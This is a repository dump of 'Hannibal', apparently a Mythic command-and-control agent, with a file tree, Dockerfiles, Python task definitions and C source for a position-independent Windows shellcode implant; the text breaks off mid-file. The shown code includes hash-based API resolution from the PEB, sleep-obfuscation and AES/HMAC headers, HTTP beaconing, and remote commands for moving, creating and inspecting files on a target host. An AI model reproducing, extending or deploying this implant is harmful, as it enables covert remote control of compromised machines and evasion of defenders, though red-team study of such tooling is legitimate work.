├── Payload_Type ├── .keep ├── __init__.py ├── python_services │ ├── __init__.py │ ├── translator │ │ └── __init__.py │ ├── Dockerfile │ └── main.py └── hannibal │ ├── hannibal │ ├── __init__.py │ ├── agent_code │ │ └── Hannibal │ │ │ ├── bin │ │ │ └── obj │ │ │ │ └── .keep │ │ │ ├── scripts │ │ │ ├── loader.x64.exe │ │ │ ├── Linker.ld │ │ │ ├── build.py │ │ │ ├── loader.c │ │ │ └── test_decryption.py │ │ │ ├── include │ │ │ ├── utility_rand.h │ │ │ ├── utility_winapi_function_resolution.h │ │ │ ├── utility_encryption_helpers.h │ │ │ ├── utility_memory.h │ │ │ ├── utility_http_wininet.h │ │ │ ├── utility_base64.h │ │ │ ├── utility_serialization.h │ │ │ ├── utility_hashing_sha256.h │ │ │ ├── utility_encryption_pkcs7_padding.h │ │ │ ├── config.h │ │ │ ├── utility_hashing_sha256_hmac.h │ │ │ ├── utility_sleep_ekko.h │ │ │ ├── utility_strings.h │ │ │ ├── utility_encryption_AES.h │ │ │ ├── profile_mythic_http.h │ │ │ ├── hannibal_tasking.h │ │ │ └── hannibal.h │ │ │ ├── src │ │ │ ├── cmd_exit.c │ │ │ ├── cmd_sleep.c │ │ │ ├── cmd_hostname.c │ │ │ ├── utility_rand.c │ │ │ ├── cmd_pwd.c │ │ │ ├── cmd_mkdir.c │ │ │ ├── cmd_mv.c │ │ │ ├── cmd_execute.c │ │ │ ├── cmd_whoami.c │ │ │ ├── cmd_cd.c │ │ │ ├── utility_encryption_pkcs7_padding.c │ │ │ ├── utility_encryption_helpers.c │ │ │ ├── hannibal_initialize.c │ │ │ ├── cmd_execute_hbin.c │ │ │ ├── utility_winapi_function_resolution.c │ │ │ ├── cmd_cp.c │ │ │ ├── utility_base64.c │ │ │ ├── utility_serialization.c │ │ │ ├── cmd_listdrives.c │ │ │ ├── utility_memory.c │ │ │ ├── cmd_rm.c │ │ │ ├── utility_sleep_ekko.c │ │ │ ├── hannibal_tasking.c │ │ │ ├── utility_http_wininet.c │ │ │ ├── utility_strings.c │ │ │ └── hannibal.c │ │ │ ├── asm │ │ │ └── x64 │ │ │ │ └── stub_wrapper.asm │ │ │ ├── debug_makefile │ │ │ ├── windows_makefile │ │ │ └── linux_makefile │ └── mythic │ │ ├── agent_functions │ │ ├── __init__.py │ │ ├── hostname.py │ │ ├── ps.py │ │ ├── pwd.py │ │ ├── ipinfo.py │ │ ├── whoami.py │ │ ├── listdrives.py │ │ ├── agentinfo.py │ │ ├── download.py │ │ ├── mkdir.py │ │ ├── execute.py │ │ ├── cd.py │ │ ├── ls.py │ │ ├── exit.py │ │ ├── rm.py │ │ ├── sleep.py │ │ ├── cp.py │ │ ├── mv.py │ │ ├── execute_hbin.py │ │ ├── upload.py │ │ └── builder.py │ │ └── __init__.py │ ├── main.py │ └── Dockerfile ├── C2_Profiles └── .keep ├── agent_icons └── .keep ├── documentation-payload ├── .keep └── hannibal │ └── _index.md ├── documentation-wrapper └── .keep ├── config.json ├── agent_capabilities.json ├── .vscode ├── launch.json └── settings.json ├── LICENSE └── .gitignore /Payload_Type/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /C2_Profiles/.keep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /agent_icons/.keep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Payload_Type/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /documentation-payload/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /documentation-wrapper/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/python_services/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Payload_Type/python_services/translator/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/bin/obj/.keep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/main.py: -------------------------------------------------------------------------------- 1 | import mythic_container 2 | from hannibal.mythic import * 3 | 4 | mythic_container.mythic_service.start_and_run_forever() -------------------------------------------------------------------------------- /Payload_Type/python_services/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM itsafeaturemythic/mythic_python_base:latest 2 | 3 | WORKDIR /Mythic/ 4 | 5 | CMD ["python3", "main.py"] -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/scripts/loader.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MythicAgents/Hannibal/HEAD/Payload_Type/hannibal/hannibal/agent_code/Hannibal/scripts/loader.x64.exe -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "exclude_payload_type": false, 3 | "exclude_c2_profiles": false, 4 | "exclude_documentation_payload": false, 5 | "exclude_documentation_c2": false, 6 | "exclude_agent_icons": false 7 | } 8 | -------------------------------------------------------------------------------- /Payload_Type/python_services/main.py: -------------------------------------------------------------------------------- 1 | #from mywebhook.webhook import * 2 | import mythic_container 3 | import asyncio 4 | from translator.translator import * 5 | 6 | mythic_container.mythic_service.start_and_run_forever() -------------------------------------------------------------------------------- /documentation-payload/hannibal/_index.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "Hannibal" 3 | chapter = true 4 | weight = 100 5 | +++ 6 | 7 | ## Summary 8 | 9 | TODO: For now refer to https://silentwarble.com/making-monsters-1 and the repo README. -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/__init__.py: -------------------------------------------------------------------------------- 1 | import glob 2 | from os.path import basename 3 | # Get file paths of all modules. 4 | modules = glob.glob('agent_functions/*.py') 5 | __all__ = [basename(x)[:-3] for x in modules if x != "__init__.py"] 6 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_rand.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_RAND_H 2 | #define UTILITY_RAND_H 3 | 4 | #include "hannibal.h" 5 | 6 | ULONG pic_rand_number_32( 7 | VOID 8 | ); 9 | 10 | ULONG gen_random_byte(ULONG *seed); 11 | 12 | #endif // UTILITY_RAND_H -------------------------------------------------------------------------------- /agent_capabilities.json: -------------------------------------------------------------------------------- 1 | { 2 | "os": ["Windows"], 3 | "languages": ["C"] , 4 | "features": { 5 | "mythic": [], 6 | "custom": [] 7 | }, 8 | "payload_output": ["shellcode"], 9 | "architectures": ["x86_64"], 10 | "c2": ["http"], 11 | "mythic_version": "3.3.1", 12 | "agent_version": "1.0.3", 13 | "supported_wrappers": [] 14 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_winapi_function_resolution.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_WINAPI_FUNCTION_RESOLUTION_H 2 | #define UTILITY_WINAPI_FUNCTION_RESOLUTION_H 3 | 4 | #include "hannibal.h" 5 | 6 | 7 | PVOID get_module_ptr_from_peb( 8 | _In_ ULONG Hash 9 | ); 10 | 11 | PVOID get_func_ptr_from_module_eat( 12 | _In_ PVOID Module, 13 | _In_ ULONG Function 14 | ); 15 | 16 | #endif // UTILITY_WINAPI_FUNCTION_RESOLUTION_H 17 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/scripts/Linker.ld: -------------------------------------------------------------------------------- 1 | LINK_BASE = 0x0000; 2 | 3 | ENTRY( Start ) 4 | 5 | SECTIONS 6 | { 7 | . = LINK_BASE; 8 | .text : { 9 | . = LINK_BASE; 10 | *( .text$STUB ); 11 | *( .text$CODE ); 12 | *( .rdata* ); 13 | FILL( 0x00 ) 14 | . = ALIGN( 0x1000 ); 15 | __Instance_offset = .; 16 | *( .global ); 17 | *( .text$E ); 18 | *( .text$P ); 19 | } 20 | 21 | .eh_frame : { 22 | *( .eh_frame ) 23 | } 24 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/Dockerfile: -------------------------------------------------------------------------------- 1 | # Need the newer MingW 2 | FROM python:3.11.10-bookworm 3 | 4 | ARG CA_CERTIFICATE 5 | ARG NPM_REGISTRY 6 | ARG PYPI_INDEX 7 | ARG PYPI_INDEX_URL 8 | ARG DOCKER_REGISTRY_MIRROR 9 | ARG HTTP_PROXY 10 | ARG HTTPS_PROXY 11 | 12 | RUN apt-get update && \ 13 | apt-get install -y \ 14 | mingw-w64 \ 15 | mingw-w64-x86-64-dev \ 16 | make \ 17 | nasm \ 18 | && rm -rf /var/lib/apt/lists/* 19 | 20 | RUN pip3 install pycryptodome mythic-container==0.5.12 pefile 21 | 22 | WORKDIR /Mythic/ 23 | 24 | CMD ["python3", "main.py"] -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_exit.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_EXIT 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | 9 | SECTION_CODE void cmd_exit(TASK t) 10 | { 11 | HANNIBAL_INSTANCE_PTR 12 | 13 | CMD_EXIT *exit_cmd = (CMD_EXIT *)t.cmd; 14 | 15 | if(exit_cmd->type == 1){ 16 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 17 | hannibal_instance_ptr->Win32.RtlExitUserThread(0); 18 | } else { 19 | hannibal_instance_ptr->Win32.ExitProcess(0); 20 | } 21 | } 22 | 23 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_encryption_helpers.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_ENCRYPTION_HELPERS_H 2 | #define UTILITY_ENCRYPTION_HELPERS_H 3 | 4 | #include "hannibal.h" 5 | #include "bcrypt.h" 6 | 7 | #include "utility_encryption_AES.h" 8 | #include "utility_encryption_pkcs7_padding.h" 9 | #include "utility_hashing_sha256_hmac.h" 10 | #include "utility_rand.h" 11 | 12 | #define IV_SIZE 16 13 | 14 | // #define LCG_SEED 0xDEADBEEF 15 | // UINT32 lcg_random(); 16 | // void lcg_generate_iv(char iv[IV_SIZE]); 17 | 18 | void generate_iv(char *iv); 19 | void bcrypt_generate_iv(char iv[IV_SIZE]); 20 | 21 | 22 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_sleep.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_SLEEP 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | 9 | SECTION_CODE void cmd_sleep(TASK t) 10 | { 11 | HANNIBAL_INSTANCE_PTR 12 | 13 | CMD_SLEEP *sleep = (CMD_SLEEP *)t.cmd; 14 | UINT32 interval = sleep->interval; 15 | UINT32 jitter = sleep->jitter; 16 | 17 | hannibal_instance_ptr->config.sleep = interval; 18 | hannibal_instance_ptr->config.jitter = jitter; 19 | 20 | hannibal_response(L"Set", t.task_uuid); 21 | 22 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 23 | 24 | } 25 | 26 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_hostname.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_HOSTNAME 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | 9 | SECTION_CODE void cmd_hostname(TASK t) 10 | { 11 | HANNIBAL_INSTANCE_PTR 12 | 13 | CMD_HOSTNAME *hst = (CMD_HOSTNAME *)t.cmd; 14 | 15 | wchar_t hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0}; 16 | DWORD size = sizeof(hostname) / sizeof(hostname[0]); 17 | 18 | hannibal_instance_ptr->Win32.GetComputerNameExW(ComputerNameNetBIOS, hostname, &size); 19 | 20 | hannibal_response(hostname, t.task_uuid); 21 | 22 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 23 | } 24 | 25 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/__init__.py: -------------------------------------------------------------------------------- 1 | import glob 2 | import os.path 3 | from pathlib import Path 4 | from importlib import import_module, invalidate_caches 5 | import sys 6 | # Get file paths of all modules. 7 | 8 | currentPath = Path(__file__) 9 | searchPath = currentPath.parent / "agent_functions" / "*.py" 10 | modules = glob.glob(f"{searchPath}") 11 | invalidate_caches() 12 | for x in modules: 13 | if not x.endswith("__init__.py") and x[-3:] == ".py": 14 | module = import_module(f"{__name__}.agent_functions." + Path(x).stem) 15 | for el in dir(module): 16 | if "__" not in el: 17 | globals()[el] = getattr(module, el) 18 | 19 | 20 | sys.path.append(os.path.abspath(currentPath.name)) -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_memory.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_MACROS_H 2 | #define UTILITY_MACROS_H 3 | 4 | #include "hannibal.h" 5 | 6 | // TODO: Implement these and don't use builtins 7 | #define pic_memset __stosb 8 | #define pic_free __builtin_free 9 | #define pic_realloc __builtin_realloc 10 | #define pic_RtlSecureZeroMemory RtlSecureZeroMemory 11 | 12 | 13 | void *pic_memcpy(void* dest, const void* src, size_t n); 14 | 15 | INT MemCompare( PVOID s1, PVOID s2, INT len); 16 | 17 | VOID CfgAddressAdd( 18 | IN PVOID ImageBase, 19 | IN PVOID Function 20 | ); 21 | 22 | void buffer_append_alloc(UINT8 **buffer, size_t *current_size, size_t *current_usage, const WCHAR *str); 23 | 24 | #endif // UTILITY_MACROS_H -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_http_wininet.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_HTTP_WININET_H 2 | #define UTILITY_HTTP_WININET_H 3 | 4 | #include "hannibal.h" 5 | 6 | // #define HTTP_METHOD_GET 1 7 | // #define HTTP_METHOD_POST 2 8 | 9 | typedef struct to_utility_http_wininet_msg { 10 | WCHAR *http_method; 11 | WCHAR *user_agent; 12 | WCHAR *dst_host; 13 | WCHAR *dst_url; 14 | CHAR *content; 15 | int content_length; 16 | } to_utility_http_wininet_msg; 17 | 18 | typedef struct from_utility_http_wininet_msg { 19 | int bytes_read; 20 | char *content; 21 | } from_utility_http_wininet_msg; 22 | 23 | 24 | from_utility_http_wininet_msg http_wininet_request(to_utility_http_wininet_msg req); 25 | 26 | 27 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_base64.h: -------------------------------------------------------------------------------- 1 | // Credit: https://github.com/zhicheng/base64 2 | 3 | #ifndef UTILITY_BASE64_H 4 | #define UTILITY_BASE64_H 5 | 6 | #include "hannibal.h" 7 | 8 | #define BASE64_ENCODE_OUT_SIZE(s) ((unsigned int)((((s) + 2) / 3) * 4 + 1)) 9 | #define BASE64_DECODE_OUT_SIZE(s) ((unsigned int)(((s) / 4) * 3)) 10 | 11 | /* 12 | * out is null-terminated encode string. 13 | * return values is out length, exclusive terminating `\0' 14 | */ 15 | unsigned int base64_encode(const unsigned char *in, unsigned int inlen, char *out); 16 | 17 | /* 18 | * return values is out length 19 | */ 20 | unsigned int base64_decode(const char *in, unsigned int inlen, unsigned char *out); 21 | 22 | #endif // UTILITY_BASE64_H -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_rand.c: -------------------------------------------------------------------------------- 1 | // Credit: Pieces adapted from https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon 2 | 3 | #include "utility_rand.h" 4 | 5 | SECTION_CODE ULONG pic_rand_number_32( 6 | VOID 7 | ) { 8 | HANNIBAL_INSTANCE_PTR 9 | 10 | ULONG Seed = 0; 11 | 12 | Seed = hannibal_instance_ptr->Win32.GetTickCount(); 13 | Seed = hannibal_instance_ptr->Win32.RtlRandomEx( &Seed ); 14 | Seed = hannibal_instance_ptr->Win32.RtlRandomEx( &Seed ); 15 | Seed = ( Seed % ( LONG_MAX - 2 + 1 ) ) + 2; 16 | 17 | return Seed % 2 == 0 ? Seed : Seed + 1; 18 | } 19 | 20 | 21 | SECTION_CODE ULONG gen_random_byte(ULONG *seed) 22 | { 23 | HANNIBAL_INSTANCE_PTR 24 | 25 | return hannibal_instance_ptr->Win32.RtlRandomEx(seed) % 256; 26 | 27 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_serialization.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_SERIALIZATION_H 2 | #define UTILITY_SERIALIZATION_H 3 | 4 | #include "hannibal.h" 5 | 6 | 7 | void WriteUint8(UINT8 **buffer, UINT8 value); 8 | void WriteUint32(UINT8 **buffer, UINT32 value); 9 | void WriteUint64(UINT8 **buffer, UINT64 value); 10 | 11 | void WriteString(UINT8 **buffer, const char *str, BOOL include_null); 12 | void WriteStringW(UINT8 **buffer, const wchar_t *wstr, BOOL include_null); 13 | 14 | void WriteBytes(UINT8 **buffer, const char *str, int size); 15 | 16 | UINT8 ReadUint8(UINT8 **buffer); 17 | UINT32 ReadUint32(UINT8 **buffer); 18 | 19 | UINT8* ReadBytes(UINT8 **buffer, UINT32 length); 20 | 21 | PCHAR ReadString(UINT8 **buffer, UINT32 length); 22 | PWCHAR ReadStringW(UINT8 **buffer, UINT32 length); 23 | 24 | DWORD pic_htonl(DWORD hostlong); 25 | 26 | 27 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_pwd.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_PWD 5 | 6 | 7 | #include "hannibal_tasking.h" 8 | 9 | 10 | SECTION_CODE void cmd_pwd(TASK t) 11 | { 12 | HANNIBAL_INSTANCE_PTR 13 | 14 | CMD_PWD *pwd = (CMD_PWD *)t.cmd; 15 | 16 | 17 | WCHAR *response_content = (WCHAR *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, MAX_PATH*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); 18 | 19 | DWORD len = hannibal_instance_ptr->Win32.GetCurrentDirectoryW(MAX_PATH, response_content); 20 | 21 | TASK response_t; 22 | response_t.output = (LPCSTR)response_content; 23 | response_t.output_size = pic_strlenW(response_content)*sizeof(WCHAR) + 2; 24 | response_t.task_uuid = t.task_uuid; 25 | 26 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 27 | 28 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 29 | 30 | } 31 | 32 | #endif -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "(gdb) Launch", 9 | "type": "cppdbg", 10 | "request": "launch", 11 | "program": "C:\\code\\PUBLIC\\MythicAgents\\Hannibal\\Payload_Type\\hannibal\\hannibal\\agent_code\\Hannibal\\bin\\hannibal.exe", 12 | "args": [ 13 | ], 14 | "stopAtEntry": false, 15 | "cwd": "C:\\code\\PUBLIC\\MythicAgents\\Hannibal\\Payload_Type\\hannibal\\hannibal\\agent_code\\Hannibal", 16 | "environment": [], 17 | "externalConsole": false, 18 | "MIMode": "gdb", 19 | "miDebuggerPath": "C:\\ProgramData\\mingw64\\mingw64\\bin\\gdb.exe", 20 | "setupCommands": [ 21 | { 22 | "description": "Use GDB", 23 | "text": "-enable-pretty-printing", 24 | "ignoreFailures": true 25 | } 26 | ] 27 | } 28 | ] 29 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_hashing_sha256.h: -------------------------------------------------------------------------------- 1 | // Credit: https://github.com/robertdavidgraham/whats-dec/blob/master/crypto-sha256.h 2 | 3 | /* 4 | * SHA-256 hash function for prototyping 5 | * 6 | * This is a REPLACEMENT for the SHA256 hash functions found in OpenSSL 7 | * and clones, so that you can get things to work without messing with 8 | * dependencies. 9 | * 10 | * This is a SLOW implementation that conforms religiously to the 11 | * FIPS 180-4 specification. 12 | */ 13 | #ifndef CRYPTO_SHA256_H 14 | #define CRYPTO_SHA256_H 15 | #include 16 | #include "hannibal.h" 17 | 18 | typedef struct SHA256state_st { 19 | unsigned h[8]; 20 | unsigned bitcount_low; 21 | unsigned bitcount_high; 22 | struct { 23 | unsigned char buf[64]; 24 | unsigned count; 25 | } partial; 26 | unsigned md_len; 27 | } SHA256_CTX; 28 | 29 | int SHA256_Init(SHA256_CTX *ctx); 30 | int SHA256_Update(SHA256_CTX *ctx, const void *data, size_t length); 31 | int SHA256_Final(unsigned char *digest, SHA256_CTX *ctx); 32 | unsigned char *SHA256(const unsigned char *message, size_t length, 33 | unsigned char *digest); 34 | void SHA256_Transform(SHA256_CTX *ctx, const unsigned char *data); 35 | 36 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_encryption_pkcs7_padding.h: -------------------------------------------------------------------------------- 1 | // https://github.com/bonybrown/tiny-AES128-C/blob/master/pkcs7_padding.h 2 | 3 | #ifndef UTILITY_ENCRYPTION_PKCS7_PADDING_H 4 | #define UTILITY_ENCRYPTION_PKCS7_PADDING_H 5 | 6 | #include 7 | #include 8 | #include "hannibal.h" 9 | 10 | /* Pad a buffer with bytes as defined in PKCS#7 11 | * Returns the number of pad bytes added, or zero if 12 | * the buffer size is not large enough to hold the correctly padded data 13 | */ 14 | int pkcs7_padding_pad_buffer( uint8_t *buffer, size_t data_length, size_t buffer_size, uint8_t modulus ); 15 | 16 | int pkcs7_padding_valid( uint8_t *buffer, size_t data_length, size_t buffer_size, uint8_t modulus ); 17 | 18 | /* Given a block of pkcs7 padded data, return the actual data length in the block based on the padding applied. 19 | * buffer_size must be a multiple of modulus 20 | * last byte 'x' in buffer must be between 1 and modulus 21 | * buffer_size must be at least x + 1 in size 22 | * last 'x' bytes in buffer must be same as 'x' 23 | * returned size will be buffer_size - 'x' 24 | */ 25 | size_t pkcs7_padding_data_length( uint8_t * buffer, size_t buffer_size, uint8_t modulus ); 26 | 27 | #endif // UTILITY_ENCRYPTION_PKCS7_PADDING_H -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_mkdir.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_MKDIR 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | 9 | SECTION_CODE void cmd_mkdir(TASK t) 10 | { 11 | HANNIBAL_INSTANCE_PTR 12 | 13 | CMD_MKDIR *mk = (CMD_MKDIR *)t.cmd; 14 | LPCWSTR path = mk->path; 15 | 16 | 17 | DWORD fileAttr = hannibal_instance_ptr->Win32.GetFileAttributesW(path); 18 | if (fileAttr != INVALID_FILE_ATTRIBUTES && (fileAttr & FILE_ATTRIBUTE_DIRECTORY)) { 19 | hannibal_response(L"Already Exists", t.task_uuid); 20 | } else { 21 | if (hannibal_instance_ptr->Win32.CreateDirectoryW(path, NULL)) { 22 | hannibal_response(L"Succeeded", t.task_uuid); 23 | } else { 24 | DWORD errorCode = hannibal_instance_ptr->Win32.GetLastError(); 25 | WCHAR error_message[256] = L"Error Code: "; 26 | WCHAR code_buffer[20]; 27 | dword_to_wchar(errorCode, code_buffer, 10); 28 | pic_strcatW(error_message, code_buffer); 29 | hannibal_response(error_message, t.task_uuid); 30 | } 31 | } 32 | 33 | hannibal_instance_ptr->Win32.VirtualFree(mk->path, 0, MEM_RELEASE); 34 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 35 | 36 | } 37 | 38 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/hostname.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class HostnameArguments(TaskArguments): 6 | 7 | def __init__(self, command_line, **kwargs): 8 | super().__init__(command_line, **kwargs) 9 | self.args = [] 10 | 11 | async def parse_arguments(self): 12 | if len(self.command_line.strip()) > 0: 13 | raise Exception("hostname takes no command line arguments.") 14 | pass 15 | 16 | 17 | class HostnameCommand(CommandBase): 18 | cmd = "hostname" 19 | needs_admin = False 20 | help_cmd = "hostname" 21 | description = "Retrieve NetBIOS name of current machine." 22 | version = 1 23 | author = "@silentwarble" 24 | argument_class = HostnameArguments 25 | attackmapping = [] 26 | 27 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 28 | response = PTTaskCreateTaskingMessageResponse( 29 | TaskID=taskData.Task.ID, 30 | Success=True, 31 | ) 32 | return response 33 | 34 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 35 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 36 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_mv.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_MV 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | 9 | SECTION_CODE void cmd_mv(TASK t) 10 | { 11 | HANNIBAL_INSTANCE_PTR 12 | 13 | CMD_MV *mv = (CMD_MV *)t.cmd; 14 | LPCWSTR src_path = mv->src_path; 15 | LPCWSTR dst_path = mv->dst_path; 16 | 17 | 18 | DWORD attributes = hannibal_instance_ptr->Win32.GetFileAttributesW(src_path); 19 | 20 | if (attributes == INVALID_FILE_ATTRIBUTES) { 21 | hannibal_response(L"Src does not exist", t.task_uuid); 22 | hannibal_instance_ptr->Win32.VirtualFree(mv->src_path, 0, MEM_RELEASE); 23 | hannibal_instance_ptr->Win32.VirtualFree(mv->dst_path, 0, MEM_RELEASE); 24 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 25 | return; 26 | } 27 | 28 | if (hannibal_instance_ptr->Win32.MoveFileExW(src_path, dst_path, 0)) { // No overwrite flag 29 | hannibal_response(L"Moved", t.task_uuid); 30 | } else { // TODO: Better error info 31 | hannibal_response(L"Error", t.task_uuid); 32 | } 33 | 34 | hannibal_instance_ptr->Win32.VirtualFree(mv->src_path, 0, MEM_RELEASE); 35 | hannibal_instance_ptr->Win32.VirtualFree(mv->dst_path, 0, MEM_RELEASE); 36 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 37 | } 38 | 39 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/ps.py: -------------------------------------------------------------------------------- 1 | # https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py 2 | 3 | from mythic_container.MythicCommandBase import * 4 | import json 5 | 6 | 7 | class PsArguments(TaskArguments): 8 | 9 | def __init__(self, command_line, **kwargs): 10 | super().__init__(command_line, **kwargs) 11 | self.args = [] 12 | 13 | async def parse_arguments(self): 14 | if len(self.command_line.strip()) > 0: 15 | raise Exception("ps takes no command line arguments.") 16 | pass 17 | 18 | 19 | class PsCommand(CommandBase): 20 | cmd = "ps" 21 | needs_admin = False 22 | help_cmd = "ps" 23 | description = "List running processes." 24 | version = 1 25 | author = "@silentwarble" 26 | argument_class = PsArguments 27 | attackmapping = [] 28 | 29 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 30 | response = PTTaskCreateTaskingMessageResponse( 31 | TaskID=taskData.Task.ID, 32 | Success=True, 33 | ) 34 | return response 35 | 36 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 37 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 38 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/pwd.py: -------------------------------------------------------------------------------- 1 | # https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py 2 | 3 | from mythic_container.MythicCommandBase import * 4 | import json 5 | 6 | 7 | class PwdArguments(TaskArguments): 8 | 9 | def __init__(self, command_line, **kwargs): 10 | super().__init__(command_line, **kwargs) 11 | self.args = [] 12 | 13 | async def parse_arguments(self): 14 | if len(self.command_line.strip()) > 0: 15 | raise Exception("pwd takes no command line arguments.") 16 | pass 17 | 18 | 19 | class PwdCommand(CommandBase): 20 | cmd = "pwd" 21 | needs_admin = False 22 | help_cmd = "pwd" 23 | description = "Print working directory." 24 | version = 2 25 | author = "@djhohnstein" 26 | argument_class = PwdArguments 27 | attackmapping = ["T1083"] 28 | 29 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 30 | response = PTTaskCreateTaskingMessageResponse( 31 | TaskID=taskData.Task.ID, 32 | Success=True, 33 | ) 34 | return response 35 | 36 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 37 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 38 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/ipinfo.py: -------------------------------------------------------------------------------- 1 | # 